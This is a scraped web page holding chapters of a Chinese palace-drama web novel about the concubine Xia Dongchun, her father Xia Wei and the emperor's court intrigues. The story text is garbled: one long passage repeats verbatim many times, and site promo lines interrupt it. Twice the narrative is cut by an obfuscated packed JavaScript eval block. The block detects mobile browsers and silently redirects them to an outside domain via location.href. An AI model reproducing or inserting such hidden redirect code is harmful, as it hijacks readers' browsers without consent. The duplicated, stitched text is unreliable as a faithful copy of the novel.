夏威哪里见过这个阵仗,居然有太医敢求娶待选秀的秀女。 他哆哆嗦嗦的把发现呈到了皇上的桌子上,缩着脖子的样子看起来特别窝囊。 皇上确实生气,但看到夏威那副模样更加头疼。 “你这是什么样子?” 夏威苦着脸,这说大了可是皇上的绿帽子,抄家灭族都不过分吧? “奴才,奴才自己发现的,没告诉别人,能不能别连累奴才家里人。” 越想越害怕,夏威仿佛看见了自己一家人齐 齐跪在菜市口的样子。 皇上都被气笑了。 “你既知道要被降罪,何故还要呈上来?” 这夏威看着胆子屁点大,做人有些矛盾。 夏威那不是一时冲动吗?但是他不敢这么说。 想了想,还是给自己说了点好话。 “虽然是如此,奴才也不能看着皇上被蒙蔽啊。” 皇上很欣慰,虽然胆子小,还会**,但好歹忠君。罢了,十全十美的臣子难寻,凑合用吧。 “好了,朕还不至于因此降罪于你,你做的好,先下去吧。” 就这样,温实初被皇上连夜噶在了回府的路上,甚至都没来的及喊一句‘嬛儿’。 没有了温实初,甄嬛有许许多多的想法都没办法实现。 第一个侍寝,可谓是万众瞩目。 可这也叫宫外的甄家人有些难过了。 不知从哪里传来的流言,甄嬛都快要赶上那祸国的妖妃了,压在富察氏和博尔济吉特氏头上,叫满朝文武都有所不满。 尤其是富察氏,虽然这位旁支的格格是送进宫和皇上示好的。但这也不能成为汉军旗四品官的女儿的踏脚石。踩着他富察氏的名头上位,也不知道能不能承受的起。 一连一个月,皇上在后宫把甄嬛捧上了天,前朝的甄远道接连受到同僚的**,已经从四品大理寺少卿到了六品大理寺右寺丞。 这种**力度只是前朝的官员对皇上一点点小的试探,毕竟后宫那位莞常在听说独得了一个月的恩宠。 可皇上毫无反应,甚至可以说后宫流传出莞常在受宠的消息都是他一手促成的。 毕竟当时惠常在那几问一直盘亘在皇上心里,叫小心眼的皇上卡着一根不痛快的木刺。 前朝这点动静他犹觉不足,冷眼旁观甄远道继续受人排挤被人**。直到富察马齐上折子**甄远道不开府门迎安答应入府,藐视皇家尊严。 皇上知道,他出气的机会终于到了。 安答应的出身低微又如何?位份不高又如何?甄远道打的,是皇上的脸。 这罪名结结实实的叫甄家一家的努力付诸东流,六品的大理寺右寺丞还没做几天,就变成了白身。 富察氏就此收手,虽然仍旧觉得还是流放更合适,但宫里头 好歹有个得宠的小主,说不得皇上想要有点面子情。 甄嬛的独宠时代也就此结束,皇上换到了翊坤宫睡觉。 第二日请安,华妃脸上带着傲慢又得意的笑意坐在自个儿的位子上。 “莞常在倒是好手段,想要拉拢安答应还要拿着架子,这下官也没了,安答应还是安答应,听说那七百三十两的银子都是莞常在出的,也算是,补偿吧。” 这一个月的时间,华妃的眼神都能把甄嬛撕碎了。 甄嬛一开始还努力着辩解几句,但后来便一声不吭。 她其实是没有底气的。 皇上看似独宠,其实总带着审视和疏离,有时候还叫自己换上一些款式比较旧的衣裳,眼底的怀念更浓。 还没来得及展示自己的情怀和文化,凭着一张脸和那些抹不去的负面印象被当成了玩意儿,这叫甄嬛很不痛快。 “小主安安心,外头的风波终究是会过去的。只要您能在皇上心里立住了,什么都会有的。” 崔槿汐的安慰还在甄嬛脑子里转圈,她坚信自己不会一直这样卑微。 所以对于华妃的嘲讽,也只当是没听见。 毕竟定罪被罚这事,皇上是真的不管。被华妃罚跪研墨抄经书弄的精疲力尽的甄嬛一言不发。 她不接招,华妃难免觉得无趣。 她转过头没看到蠢萌的惠常在,嘴角一挑低头看着手上的护甲说道:“莞常在得皇上恩宠,倒是误了新妹妹们。这都一个月了,咱们这请安啊还是这些人。” 只有甄嬛一个新人,还是弄出了许多风波的新人,在坐的有一个算一个,没人敢凑近。 她们的喧闹和夏冬春无关,她终于被翻牌子了。 在经过一系列的程序后,夏冬春躺在硬邦邦的床上感叹着这被子,这床幔,这锦帐,这枕头感慨,都是黄色的,难道看着不难受吗? 左思右想之间,皇上点了点她的脸颊:“想什么呢?” 夏冬春闻言不假思索:“在想为什么这么多黄色看起来眼睛不疼。” 皇上突然笑出了声,惠常在,长的漂亮心直口快藏不住事的,很有趣。 好歹有个得宠的小主,说不得皇上想要有点面子情。 甄嬛的独宠时代也就此结束,皇上换到了翊坤宫睡觉。 第二日请安,华妃脸上带着傲慢又得意的笑意坐在自个儿的位子上。 “莞常在倒是好手段,想要拉拢安答应还要拿着架子,这下官也没了,安答应还是安答应,听说那七百三十两的银子都是莞常在出的,也算是,补偿吧。” 这一个月的时间,华妃的眼神都能把甄嬛撕碎了。 甄嬛一开始还努力着辩解几句,但后来便一声不吭。 她其实是没有底气的。 皇上看似独宠,其实总带着审视和疏离,有时候还叫自己换上一些款式比较旧的衣裳,眼底的怀念更浓。 还没来得及展示自己的情怀和文化,凭着一张脸和那些抹不去的负面印象被当成了玩意儿,这叫甄嬛很不痛快。 “小主安安心,外头的风波终究是会过去的。只要您能在皇上心里立住了,什么都会有的。” 崔槿汐的安慰还在甄嬛脑子里转圈,她坚信自己不会一直这样卑微。 所以对于华妃的嘲讽,也只当是没听见。 毕竟定罪被罚这事,皇上是真的不管。被华妃罚跪研墨抄经书弄的精疲力尽的甄嬛一言不发。 她不接招,华妃难免觉得无趣。 她转过头没看到蠢萌的惠常在,嘴角一挑低头看着手上的护甲说道:“莞常在得皇上恩宠,倒是误了新妹妹们。这都一个月了,咱们这请安啊还是这些人。” 只有甄嬛一个新人,还是弄出了许多风波的新人,在坐的有一个算一个,没人敢凑近。 她们的喧闹和夏冬春无关,她终于被翻牌子了。 在经过一系列的程序后,夏冬春躺在硬邦邦的床上感叹着这被子,这床幔,这锦帐,这枕头感慨,都是黄色的,难道看着不难受吗? 左思右想之间,皇上点了点她的脸颊:“想什么呢?” 夏冬春闻言不假思索:“在想为什么这么多黄色看起来眼睛不疼。” 皇上突然笑出了声,惠常在,长的漂亮心直口快藏不住事的,很有趣。 好歹有个得宠的小主,说不得皇上想要有点面子情。 甄嬛的独宠时代也就此结束,皇上换到了翊坤宫睡觉。 第二日请安,华妃脸上带着傲慢又得意的笑意坐在自个儿的位子上。 “莞常在倒是好手段,想要拉拢安答应还要拿着架子,这下官也没了,安答应还是安答应,听说那七百三十两的银子都是莞常在出的,也算是,补偿吧。” 这一个月的时间,华妃的眼神都能把甄嬛撕碎了。 甄嬛一开始还努力着辩解几句,但后来便一声不吭。 她其实是没有底气的。 皇上看似独宠,其实总带着审视和疏离,有时候还叫自己换上一些款式比较旧的衣裳,眼底的怀念更浓。 还没来得及展示自己的情怀和文化,凭着一张脸和那些抹不去的负面印象被当成了玩意儿,这叫甄嬛很不痛快。 “小主安安心,外头的风波终究是会过去的。只要您能在皇上心里立住了,什么都会有的。” 崔槿汐的安慰还在甄嬛脑子里转圈,她坚信自己不会一直这样卑微。 所以对于华妃的嘲讽,也只当是没听见。 毕竟定罪被罚这事,皇上是真的不管。被华妃罚跪研墨抄经书弄的精疲力尽的甄嬛一言不发。 她不接招,华妃难免觉得无趣。 她转过头没看到蠢萌的惠常在,嘴角一挑低头看着手上的护甲说道:“莞常在得皇上恩宠,倒是误了新妹妹们。这都一个月了,咱们这请安啊还是这些人。” 只有甄嬛一个新人,还是弄出了许多风波的新人,在坐的有一个算一个,没人敢凑近。 她们的喧闹和夏冬春无关,她终于被翻牌子了。 在经过一系列的程序后,夏冬春躺在硬邦邦的床上感叹着这被子,这床幔,这锦帐,这枕头感慨,都是黄色的,难道看着不难受吗? 左思右想之间,皇上点了点她的脸颊:“想什么呢?” 夏冬春闻言不假思索:“在想为什么这么多黄色看起来眼睛不疼。” 皇上突然笑出了声,惠常在,长的漂亮心直口快藏不住事的,很有趣。 好歹有个得宠的小主,说不得皇上想要有点面子情。 甄嬛的独宠时代也就此结束,皇上换到了翊坤宫睡觉。 第二日请安,华妃脸上带着傲慢又得意的笑意坐在自个儿的位子上。 “莞常在倒是好手段,想要拉拢安答应还要拿着架子,这下官也没了,安答应还是安答应,听说那七百三十两的银子都是莞常在出的,也算是,补偿吧。” 这一个月的时间,华妃的眼神都能把甄嬛撕碎了。 甄嬛一开始还努力着辩解几句,但后来便一声不吭。 她其实是没有底气的。 皇上看似独宠,其实总带着审视和疏离,有时候还叫自己换上一些款式比较旧的衣裳,眼底的怀念更浓。 还没来得及展示自己的情怀和文化,凭着一张脸和那些抹不去的负面印象被当成了玩意儿,这叫甄嬛很不痛快。 “小主安安心,外头的风波终究是会过去的。只要您能在皇上心里立住了,什么都会有的。” 崔槿汐的安慰还在甄嬛脑子里转圈,她坚信自己不会一直这样卑微。 所以对于华妃的嘲讽,也只当是没听见。 毕竟定罪被罚这事,皇上是真的不管。被华妃罚跪研墨抄经书弄的精疲力尽的甄嬛一言不发。 她不接招,华妃难免觉得无趣。 她转过头没看到蠢萌的惠常在,嘴角一挑低头看着手上的护甲说道:“莞常在得皇上恩宠,倒是误了新妹妹们。这都一个月了,咱们这请安啊还是这些人。” 只有甄嬛一个新人,还是弄出了许多风波的新人,在坐的有一个算一个,没人敢凑近。 她们的喧闹和夏冬春无关,她终于被翻牌子了。 在经过一系列的程序后,夏冬春躺在硬邦邦的床上感叹着这被子,这床幔,这锦帐,这枕头感慨,都是黄色的,难道看着不难受吗? 左思右想之间,皇上点了点她的脸颊:“想什么呢?” 夏冬春闻言不假思索:“在想为什么这么多黄色看起来眼睛不疼。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161817|175486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇上突然笑出了声,惠常在,长的漂亮心直口快藏不住事的,很有趣。 好歹有个得宠的小主,说不得皇上想要有点面子情。 甄嬛的独宠时代也就此结束,皇上换到了翊坤宫睡觉。 第二日请安,华妃脸上带着傲慢又得意的笑意坐在自个儿的位子上。 “莞常在倒是好手段,想要拉拢安答应还要拿着架子,这下官也没了,安答应还是安答应,听说那七百三十两的银子都是莞常在出的,也算是,补偿吧。” 这一个月的时间,华妃的眼神都能把甄嬛撕碎了。 甄嬛一开始还努力着辩解几句,但后来便一声不吭。 她其实是没有底气的。 皇上看似独宠,其实总带着审视和疏离,有时候还叫自己换上一些款式比较旧的衣裳,眼底的怀念更浓。 还没来得及展示自己的情怀和文化,凭着一张脸和那些抹不去的负面印象被当成了玩意儿,这叫甄嬛很不痛快。 “小主安安心,外头的风波终究是会过去的。只要您能在皇上心里立住了,什么都会有的。” 崔槿汐的安慰还在甄嬛脑子里转圈,她坚信自己不会一直这样卑微。 所以对于华妃的嘲讽,也只当是没听见。 毕竟定罪被罚这事,皇上是真的不管。被华妃罚跪研墨抄经书弄的精疲力尽的甄嬛一言不发。 她不接招,华妃难免觉得无趣。 她转过头没看到蠢萌的惠常在,嘴角一挑低头看着手上的护甲说道:“莞常在得皇上恩宠,倒是误了新妹妹们。这都一个月了,咱们这请安啊还是这些人。” 只有甄嬛一个新人,还是弄出了许多风波的新人,在坐的有一个算一个,没人敢凑近。 她们的喧闹和夏冬春无关,她终于被翻牌子了。 在经过一系列的程序后,夏冬春躺在硬邦邦的床上感叹着这被子,这床幔,这锦帐,这枕头感慨,都是黄色的,难道看着不难受吗? 左思右想之间,皇上点了点她的脸颊:“想什么呢?” 夏冬春闻言不假思索:“在想为什么这么多黄色看起来眼睛不疼。” 皇上突然笑出了声,惠常在,长的漂亮心直口快藏不住事的,很有趣。 好歹有个得宠的小主,说不得皇上想要有点面子情。 甄嬛的独宠时代也就此结束,皇上换到了翊坤宫睡觉。 第二日请安,华妃脸上带着傲慢又得意的笑意坐在自个儿的位子上。 “莞常在倒是好手段,想要拉拢安答应还要拿着架子,这下官也没了,安答应还是安答应,听说那七百三十两的银子都是莞常在出的,也算是,补偿吧。” 这一个月的时间,华妃的眼神都能把甄嬛撕碎了。 甄嬛一开始还努力着辩解几句,但后来便一声不吭。 她其实是没有底气的。 皇上看似独宠,其实总带着审视和疏离,有时候还叫自己换上一些款式比较旧的衣裳,眼底的怀念更浓。 还没来得及展示自己的情怀和文化,凭着一张脸和那些抹不去的负面印象被当成了玩意儿,这叫甄嬛很不痛快。 “小主安安心,外头的风波终究是会过去的。只要您能在皇上心里立住了,什么都会有的。” 崔槿汐的安慰还在甄嬛脑子里转圈,她坚信自己不会一直这样卑微。 所以对于华妃的嘲讽,也只当是没听见。 毕竟定罪被罚这事,皇上是真的不管。被华妃罚跪研墨抄经书弄的精疲力尽的甄嬛一言不发。 她不接招,华妃难免觉得无趣。 她转过头没看到蠢萌的惠常在,嘴角一挑低头看着手上的护甲说道:“莞常在得皇上恩宠,倒是误了新妹妹们。这都一个月了,咱们这请安啊还是这些人。” 只有甄嬛一个新人,还是弄出了许多风波的新人,在坐的有一个算一个,没人敢凑近。 她们的喧闹和夏冬春无关,她终于被翻牌子了。 在经过一系列的程序后,夏冬春躺在硬邦邦的床上感叹着这被子,这床幔,这锦帐,这枕头感慨,都是黄色的,难道看着不难受吗? 左思右想之间,皇上点了点她的脸颊:“想什么呢?” 夏冬春闻言不假思索:“在想为什么这么多黄色看起来眼睛不疼。” 皇上突然笑出了声,惠常在,长的漂亮心直口快藏不住事的,很有趣。 好歹有个得宠的小主,说不得皇上想要有点面子情。 甄嬛的独宠时代也就此结束,皇上换到了翊坤宫睡觉。 第二日请安,华妃脸上带着傲慢又得意的笑意坐在自个儿的位子上。 “莞常在倒是好手段,想要拉拢安答应还要拿着架子,这下官也没了,安答应还是安答应,听说那七百三十两的银子都是莞常在出的,也算是,补偿吧。” 这一个月的时间,华妃的眼神都能把甄嬛撕碎了。 甄嬛一开始还努力着辩解几句,但后来便一声不吭。 她其实是没有底气的。 皇上看似独宠,其实总带着审视和疏离,有时候还叫自己换上一些款式比较旧的衣裳,眼底的怀念更浓。 还没来得及展示自己的情怀和文化,凭着一张脸和那些抹不去的负面印象被当成了玩意儿,这叫甄嬛很不痛快。 “小主安安心,外头的风波终究是会过去的。只要您能在皇上心里立住了,什么都会有的。” 崔槿汐的安慰还在甄嬛脑子里转圈,她坚信自己不会一直这样卑微。 所以对于华妃的嘲讽,也只当是没听见。 毕竟定罪被罚这事,皇上是真的不管。被华妃罚跪研墨抄经书弄的精疲力尽的甄嬛一言不发。 她不接招,华妃难免觉得无趣。 她转过头没看到蠢萌的惠常在,嘴角一挑低头看着手上的护甲说道:“莞常在得皇上恩宠,倒是误了新妹妹们。这都一个月了,咱们这请安啊还是这些人。” 只有甄嬛一个新人,还是弄出了许多风波的新人,在坐的有一个算一个,没人敢凑近。 她们的喧闹和夏冬春无关,她终于被翻牌子了。 在经过一系列的程序后,夏冬春躺在硬邦邦的床上感叹着这被子,这床幔,这锦帐,这枕头感慨,都是黄色的,难道看着不难受吗? 左思右想之间,皇上点了点她的脸颊:“想什么呢?” 夏冬春闻言不假思索:“在想为什么这么多黄色看起来眼睛不疼。” 皇上突然笑出了声,惠常在,长的漂亮心直口快藏不住事的,很有趣。 第390 章 夏冬春7 皇上到底是上了岁数身子骨又不算强健温温吞吞的几下子也得不了什么乐趣。不过夏冬春莽归莽这个时候该说什么不该说什么还是心里有数的。 好在这么个朝代对女子的限制颇高眼睛一闭也不怕露出什么能叫皇上破防的情绪。 事后皇上拉了拉床头上的绳子外头的宫人鱼贯而入低着头快速的给两人收拾了一番。 再躺下后皇上侧身拨弄着夏冬春鬓边的碎发眼神悠长:“夏威是你的阿玛。” 实际上精神仍旧充沛的夏冬春听到动静也不装睡了麻溜的翻身和皇上面对面。 “嗯嗯阿玛平日里办差认真吗皇上?” 这还是第一次听到小辈人拷问长辈的差事新鲜劲儿叫皇上微微上头嘴角也有了笑意。 “怎么?你倒是监督起你阿玛来了?” 夏冬春摇了摇手里抓着的皇上的发尾:“才不是只是阿玛在府上总说自己办差辛苦所以嫔妾才想问问。” 夏威辛苦?皇上对这话表示质疑。不过他自认为还是个不错的皇帝就不破坏夏威这个阿玛在惠常在心中的形象了。 “办差自然是不轻松的。” 囫囵而过皇上想了想夏威送上来的银票良心稍微被掩藏了点。 不等夏冬春继续开口皇上想着她和莞常在等人的恩怨试探的问道:“你和莞常在三人关系不好?” 皇上说这个夏冬春可是来劲了。她撑起身子恨不得下床直接给皇上演上一段。 “那岂止是不好嫔妾和她们就不是一路人。” 皇上被这动静还吓了一跳他看着瞬间变脸的惠常在突然笑出了声。 “皇上!您别笑了!” 夏冬春还以为自己遭到了嘲讽急的脸都红了是真的红比刚才在床上做那事时憋起的红脸更红。 “好了好了朕不笑了。” 皇上本以为这位惠常在是齐妃和华妃的结合体又不聪明又妩媚凌厉。和这样的美人相处总是轻松的。 然而轻松的时光总是短暂的皇上收回刚刚的话这位惠常在虽然不聪明但是十分的.好学。 “皇上您说为什么莞常在总是在强调别人的错误这事嫔妾虽然也有点点点点点点错 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 儿更大?那可是殿选,万一这衣裳湿了被判一个御前失仪,嫔妾还怎么活?” 第一个问题,皇上觉得惠常在问的好,稚子心性纯良又直白,所以皇上认真的回答了她。 “这只是逃避自我错误的一种手段,春儿万不能学这般手段。” 夏冬春认真的点了点头,支棱在皇上上头的头发也跟着扫了扫,脸颊痒痒的,皇上不自觉的伸手揉了揉。 “那为什么莞常在会接安答应去甄府小住?甄家那时候也不是什么大官啊,按理说接待小主这事,轮不到他这个四品官府邸吧?” 第二个问题,带了明显的个人恩怨,但不出格甚至有脑子,皇上也发觉了不对。 “按理说这外地的秀女是要报给旗主,接进京后在妞妞房住着学规矩。” 皇上说着说着自己也懵了,妞妞房呢?他大清东南西北那么大四个妞妞房是干什么吃的?这届秀女未免太没规矩了吧? “按理说?那为什么没有按理做啊?” 皇上一脸复杂的看着夏冬春,他也想知道为什么没有按理做。 “朕元年选秀,初登基一切百废待兴,有错漏也是难免。” 还是得自己描补一二,他就说后宫那仨瓜俩枣一点用都没有! 夏冬春勉强接受了这个说法,看着皇上还是满眼的疑惑:“元年?选秀啊?” 说完,她似是自己被自己吓到了,老老实实安安分分的缩进被子里,只留下一双滴溜溜乱转的眼睛,时不时扫一眼面无表情的皇上,哆哆嗦嗦的,和她那个胆小的阿玛一个德行。 皇上哪里还顾得上发火,他恨不得一觉睡醒回到太后劝他选秀的那晚,义正言辞的拒绝好给自己带个大孝子的帽子。 他看了眼好像要吓哭了的惠常在,轻轻叹了口气,还真是傻人有傻福。若不是她误打误撞的把这把利剑撞了出来,这今后的史官的笔杆子指不定要怎么写呢。 即使再愤怒,这些人也进了后宫,皇上总不能都杀个干净,那才叫本就不好的名声雪上加霜。 “行了,朕还没到一句话就对你喊打喊杀的地步。” 实则已经捏紧了拳头。 夏冬春试探的露了露脸,谄媚的笑容出现在皇上眼前。 “皇上,英明神武的皇上。” 皇上以掌覆面,把 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 夏冬春的光全部遮住:“快睡吧,朕不降罪于你。” 夏冬春听到这话也不拿开皇上的手,乖巧的一秒入睡。 皇上很羡慕,他心里装着事就睡不着。 一晚上在心里头推敲,总算是有了些头绪。 外头的声音不算大,皇上快刀斩乱麻的让夏威把那一小股流言压了下去,毕竟憨货用起来顺手又不怕他**。又叫人时刻盯着那些文人的笔杆子,这才稍稍放心。 一番肃清,倒是揪出几个说他坏 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煽风点火的夏冬春完全掩饰不住自己脸上的表情,看的华妃恨的牙根痒痒。 “都是皇上的旨意,嫔妾不敢不从。” 沈眉庄虽然垂着眼睫,但冷淡平静的表情里难掩自得,夏冬春不爱看。 “咦,沈贵人不敢不从,听到了吗华妃娘娘,是皇上逼迫沈贵人的哦。” 华妃不仅听到了,还听进去了。 “好啊,第一日请安时沈贵人的一身傲骨呢?怎么这宫权就折了你的骨头了?” 沈眉庄不得不从座位上抬起屁股,蹲在地上请罪。 “嫔妾绝无此意。” 管她到底什么意思呢,夏冬春认为沈贵人就是屈服的意思。 “看来这贵人的位分到底是委屈咱们沈贵人了,沈贵人不光想要协理六宫,还想要当妃当贵妃呢。” 华妃阴狠狠的看着沈眉庄,皮笑肉不笑的挥了挥帕子离开了景仁宫。 夏冬春晃悠着脑袋准备回自己的储秀宫时,后头的沈眉庄三人再一次拦住了她的路。 “惠贵人究竟想要如何?” 夏冬春不予理会,推开沈眉庄的手就往前走。 “有些人啊,做错了事呢不向苦主道歉。被逼着还了钱还一副穷酸脸的样子,怨不得别人记仇呢。有空拦着我问想要如何,还不如多问问自己为什么这么招人恨吧!” 她的声音不小,顺着东六宫的通道一圈圈扩散,被说的有些人沈眉庄和甄嬛,不想看宫人异样的眼光,快步回到了碎玉轩里。 第391 章 夏冬春8 养心殿。 “皇上,这沈贵人无才无德,怎么能担负起协理六宫的重任?更何况她偏听偏信,怕是不能好好的为皇上做事呢。” 华妃拉着皇上的袖子,再次试图把沈眉庄头上那协理六宫的头衔扒下来。 然而这事已经没有了转圜的余地,皇上的态度坚决,叫华妃心里隐隐有些不安。 “沈贵人自个儿都一身的官司,皇上不若叫沈贵人先立身正不是更好?” 皇上翻动书页的手顿了顿,华妃这话说的实在,沈贵人和惠贵人那两人纠缠不清的官司皇上也有些头痛。 惠贵人瞧着是个明艳的,内里却十分的记仇。有了机会总是会跟在沈贵人和莞常在屁股后面咬,虽然闹不出什么乱子,但也足够沈贵人分心。 况且,单看沈贵人连惠贵人都弄不明白的架势皇上就知道,这人算是废了。 “好了,朕金口玉言哪有下了旨意再收回的道理。沈贵人年轻,先练着吧。” 即便不能拦了华妃的势,还不能给华妃添点麻烦吗?皇上想,沈贵人应该不至于这么没用吧? 事实上,沈贵人确实是这么没用的。她日日被华妃抓到翊坤宫研墨抄账本,把自己熬的像个三十岁的妇人,却连告状都不会。 “皇上,为什么沈贵人会觉得她一个贵人就能管理后宫啊?” 已是初冬,夏冬春窝在温暖的养心殿吃着花生,头上那些漂亮的金簪已经重见天日,升为贵人,她是演都不演了,一副‘我就是有钱’的样子比华妃还要嚣张。 皇上没有抬头,看着手里的书本伸出了手。 夏冬春在自己手心里挑了挑,捡了一粒最小的花生放到皇上手里。 “估摸着是觉得朕很信任她吧。” 这是皇上心里话,沈眉庄的眼神是这么显示的。 夏冬春晃了晃脑袋,头上那金铃流苏碰撞在一起发出好听的声音:“不明白,皇上信任她不是信她能生孩子吗?” 皇上准备喝茶的动作停了下来,把茶盏放在桌子上白了她一眼。 “过两日太后可能会召见你。” 皇上换了个话头,不想再听到沈贵人三个字。 夏冬春继续和花生奋斗,闻言也只是点了点头,一点惶恐或惊喜的表情都没有。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “你,你也不必担忧,太后并不严苛。” 贵人,即使有个不错的封号也入不得太后的眼。只是她为人不懂变通又性格格外的外放,得罪了华妃和皇后两个人。告状都告到了太后那里,被召见也在皇上的意料之中。 夏冬春这才抬起头,下嘴唇上还粘着一小块红色的花生皮。 “为什么担忧,嫔妾又没做错事。” 皇上很羡慕这种没心没肺的人,简直不懂什么叫恐惧。 也就是两三日的功夫,竹息到了景仁宫门口,直接把夏冬春带到了寿康宫。 “哼,总算是能安分几日了。” 华妃快被夏冬春折磨的崩溃,让她研磨,她问你为什么,让她去翊坤宫听训,她还梗着脖子问你为什么,让她闭嘴,她也要问为什么。 偏这惠贵人的阿玛得力,家里也是包衣佐领,她还真找不到下手的缝隙。 曹贵人和丽嫔对视一眼,她们有种今日也要惨败而归的预感。 敬嫔看了眼欣常在:“欣妹妹,前个儿本宫新得了一副白玉棋盘,可要去咸福宫手谈一局?” 欣常在会下棋,但是技术一般。不过她愿意热闹,闻言乐呵呵的应了下来。 只有沈眉庄和甄嬛心里带了隐晦的期待。 寿康宫。 “惠贵人请。” 夏冬春被引着走到偏殿,看着殿内低调的装饰不掩饰的撇了撇嘴。都是包衣出身的,装什么朴素老太太。你乌雅氏藏了多少好东西她夏家知道了七八成呢! “惠贵人,你这装扮似是有些不符位分了。” 行了大礼,太后关切的问了几句,马上就暴露了自己丑恶的嘴脸。 夏冬春不以为耻反以为荣。 “嫔妾自幼在家中就是如此装扮,没道理进了宫反而寒酸了。” 她摸了摸上的金簪,笑的好不得意。 太后却绷着脸拍了拍手下的迎枕:“胡闹,宫里有宫里的规矩,什么位分戴什么规制的首饰。” 夏冬春看了一圈,两边的嬷嬷看起来蠢蠢欲动,怎么?还想扒了她的首饰?! “什么位分戴什么首饰说的是那些没钱没地位的,她们家里弄不来好东西才只能指望着宫里头赏赐的。嫔妾可不用,太后娘娘,都是包衣家的,何至于手足 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 相残啊。” 她知道自己用错了词,但是原主就这水平了,说的太高大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168697|175486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了也不行啊。 看着太后抬着手指你你我我的,夏冬春痛快极了。 什么道行的老妖怪啊,拿着鸡毛当令箭,听人挑唆两句就来收拾她。花她儿子钱了吗?凭什么教育她。 “放肆!” 太后生气了,偏殿内大大小小的宫女跪了一地。 只有夏冬春还坐的稳稳。 “太后为什么动怒?嫔妾说的哪里不对了?” 这乌雅氏出了太后看着风光,其实太后根本没有拉拔家里头,反而是时时伸手要孝敬。乌雅氏一族早就有怨气了。 和油盐不进的夏冬春没办法沟通下去,太后强硬的以禁足一月为结果结束了今天的问话。 还有这个好事?禁足一个月?这么好吗? 这大冷的天,谁愿意五六点起来去给皇后请安啊,在温暖的被窝里舒舒服服的睡觉不好吗? 快乐的夏冬春飞快的回到储秀宫,由着秋香和秋丽给她除了头饰换了轻便的衣裳,盘腿在榻上给她阿玛写信。 “阿玛阿玛,太后娘娘为什么总拉扯乌拉那拉氏?为什么乌雅氏不反抗?为什么你不挑唆他们不给太后娘娘送钱?” 想了想,夏冬春继续写道:“女儿被太后娘娘禁足啦!不过阿玛不用担心,给御膳房和内务府都送些银钱,新鲜的果子和菜不能断啊。 还有,只禁足了一个月,阿玛可以随时给皇上送上几张银票叫皇上来看看女儿,不然都没人说话。” 写到这里,夏冬春觉得也差不多了。 把信用特殊的蜡封上,通过夏家的渠道送到了夏威手里。 她自己则是指挥着秋香和秋丽把自己的西配殿布置成了一个温暖的人类狗窝。用了大量的波斯地毯和毛毯堆出来的软榻简直比沙发还要舒服。 秋香负责读话本,秋丽负责煮茶,西配殿的其她两个宫女汀雨和汀雪负责扒果子和花生栗子等物,这日子,禁足是真妙啊。 夏冬春被禁足的第三日,夏威上折子问皇上自家闺女还好不好,折子里夹了两张五百两的银票。 皇上收了银票,自觉的跑到储秀宫看了眼翘着脚享受的惠贵人,回去告诉夏威,夏冬春好的不得了。 而在宫外,夏威也联系到了乌雅氏的人。 “我女儿也在宫里,来向你们乌雅氏取取经,有太后在宫里,你们乌雅氏一定要起飞了吧?” 若不是知道夏威是个憨的,乌雅氏还以为他是来讽刺他们的。 第392 章 夏冬春9 “夏大人言重了太后娘娘身子不好 那人的表情皮笑肉不笑的眼里的不满快要溢了出来。 夏威从后院来到前朝脑子还是挺好使的。 他憨憨的笑了笑:“是吗?我这也是听惠贵人说皇后娘娘总去寿康宫坐坐才来问问呢。听闻乌拉那拉氏和乌雅氏是连襟呢关系应该很好吧?” 乌雅彭武捏了捏拳头不想再跟这位包衣佐领说话了。 “人家是满族大姓跟咱们包衣不过是主仆关系哪里就说的上好了?” 夏威在心里‘嚯’了一声这乌雅氏自从后宫的德妃开始发力后可不愿意听到奴才两个字了。 “还好我家惠贵人脑子也不够能平平安安的就行了。” 夏威点到为止他如今虽然没有升官但皇上的重用是肉眼可见的。惠贵人入宫还没有半年夏家已经是水涨船高。 反观他们乌雅氏有个太后在宫里跟没有一样。人家一心拉拔乌拉那拉氏早就把他们这包衣亲戚忘在脑后了。 如今太后执意要留乌拉那拉氏在后位上坐着乌雅氏的想要进宫谋一个妃位都在选秀初被刷了下来。 不管是皇后做的手脚还是太后做的手脚人家没有打算管乌雅氏是看的见的。 夏威虽然只是包衣佐领但手里的权利可不小。 乌雅彭武想了想还是得交好着才行。 两个大男人推杯换盏互相试探互相暴露一些没什么用的消息笑着挥手再见冷着脸回到自己府上。 夏威觉得自己收获颇丰但乌雅彭武觉得乌雅氏得为自己再重新谋划了。 乌雅氏的大宅子里如今的族长是乌雅庆峰坐在主位看着底下的族人缓缓说了自己的打算。 “太后娘娘已经许久没有召见族里的姑娘了这些年除了要钱别的拉拔咱们也没有享受到。如今夏威这话你们觉得有几分可信?” 底下的人默了默对于族长的话并没有什么想要反驳的。这些年族里确实贪墨了不少但送进宫的也不少。只是皇上不待见太后不重视他们只是顶着一个太后外家的名头比当初的佟佳氏可差的太远了。 “夏威家里有个姑奶奶在宫里自然也是九分算计一分实诚。” 乌雅氏一族 你的朋友正在书荒,快去帮帮他吧 的小辈大多在军营里,只是皇上重年氏,他们也不算特别有造化的,只能是默默无闻。 “哼,谁不是算计来算计去的?有算计很正常,只说咱们能得什么好处。 